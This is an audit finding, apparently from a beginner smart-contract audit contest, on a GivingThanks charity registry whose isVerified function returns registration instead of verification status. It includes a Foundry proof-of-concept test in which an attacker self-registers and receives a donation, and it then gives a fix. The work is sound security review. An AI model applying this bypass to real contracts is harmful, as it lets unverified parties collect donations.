GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] CharityRegistry isVerified Returns Registration Status Instead of Verification Status

iepathos

Summary

The CharityRegistry contract's isVerified function incorrectly returns whether a charity is registered instead of whether it's verified. This completely bypasses the admin verification process, allowing any registered charity to be treated as verified without admin approval.

Vulnerability Details

The vulnerability exists in the following function:

function isVerified(address charity) public view returns (bool) {
return registeredCharities[charity]; // BUG: Returns registration status instead of verification
}

Key issues:

  1. Returns registeredCharities[charity] instead of verifiedCharities[charity]

  2. Anyone can self-register via registerCharity()

  3. Bypasses the admin verification requirement entirely

This allows attackers to:

  1. Register themselves as a charity using registerCharity()

  2. Be treated as verified without admin approval

  3. Potentially receive donations or other benefits meant only for verified charities

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
import "../../src/CharityRegistry.sol";
import "../../src/GivingThanks.sol";
​
contract CharityVerificationBypassTest is Test {
CharityRegistry public registry;
GivingThanks public givingThanks;
address public admin = address(this);
address public attacker = address(0x1);
address public donor = address(0x2);
​
function setUp() public {
// Deploy contracts
registry = new CharityRegistry();
givingThanks = new GivingThanks(address(registry));
// Fix the registry since constructor uses msg.sender instead of parameter
givingThanks.updateRegistry(address(registry));
​
// Setup donor with funds
vm.deal(donor, 10 ether);
​
// Label addresses for better trace output
vm.label(admin, "Admin");
vm.label(attacker, "Attacker");
vm.label(donor, "Donor");
vm.label(address(registry), "Registry");
}
​
function testVerificationBypass() public {
// 1. Attacker registers themselves as a charity
vm.prank(attacker);
registry.registerCharity(attacker);
​
// 2. Verify the actual verification status is false
assertFalse(
registry.verifiedCharities(attacker),
"Attacker should not be verified"
);
​
// 3. But isVerified() returns true due to the bug
assertTrue(
registry.isVerified(attacker),
"Bug: isVerified returns true for unverified charity"
);
​
// 4. Fund the GivingThanks contract first
vm.deal(address(givingThanks), 10 ether);
​
// 5. Demonstrate impact - Donor can donate to unverified charity
vm.startPrank(donor);
givingThanks.donate{value: 1 ether}(attacker);
vm.stopPrank();
​
// 6. Verify attacker received funds without proper verification
assertEq(
attacker.balance,
1 ether,
"Attacker received donation without verification"
);
}
}

Impact

  • Severity: High

  • Likelihood: High (trivial to exploit)

Effects:

  1. Complete bypass of the admin verification system

  2. Any registered charity appears as verified

  3. Undermines the entire trust model of the registry

  4. Potential financial losses if other contracts rely on verification status

Tools Used

  • Foundry Test Framework

  • Manual code review

Recommendations

Fix the isVerified function to check the correct mapping:

function isVerified(address charity) public view returns (bool) {
return verifiedCharities[charity];
}

Additionally, consider:

  1. Adding events for registration and verification actions

  2. Implementing a way to revoke verification

  3. Adding checks to prevent zero-address registrations

  4. Adding a way to unregister charities

Example of enhanced implementation:

event CharityRegistered(address indexed charity);
event CharityVerified(address indexed charity);
event CharityVerificationRevoked(address indexed charity);
​
function registerCharity(address charity) public {
require(charity != address(0), "Zero address");
require(!registeredCharities[charity], "Already registered");
registeredCharities[charity] = true;
emit CharityRegistered(charity);
}
​
function verifyCharity(address charity) public {
require(msg.sender == admin, "Only admin can verify");
require(registeredCharities[charity], "Charity not registered");
require(!verifiedCharities[charity], "Already verified");
verifiedCharities[charity] = true;
emit CharityVerified(charity);
}
​
function revokeVerification(address charity) public {
require(msg.sender == admin, "Only admin can revoke");
require(verifiedCharities[charity], "Charity not verified");
verifiedCharities[charity] = false;
emit CharityVerificationRevoked(charity);
}
Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-isVerified-return-registered-charities

Likelyhood: High, the function returns registered charities instead of verified ones. Impact: High, Any charities can be registered by anyone and will be declared as verified by this function bypassing verification.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.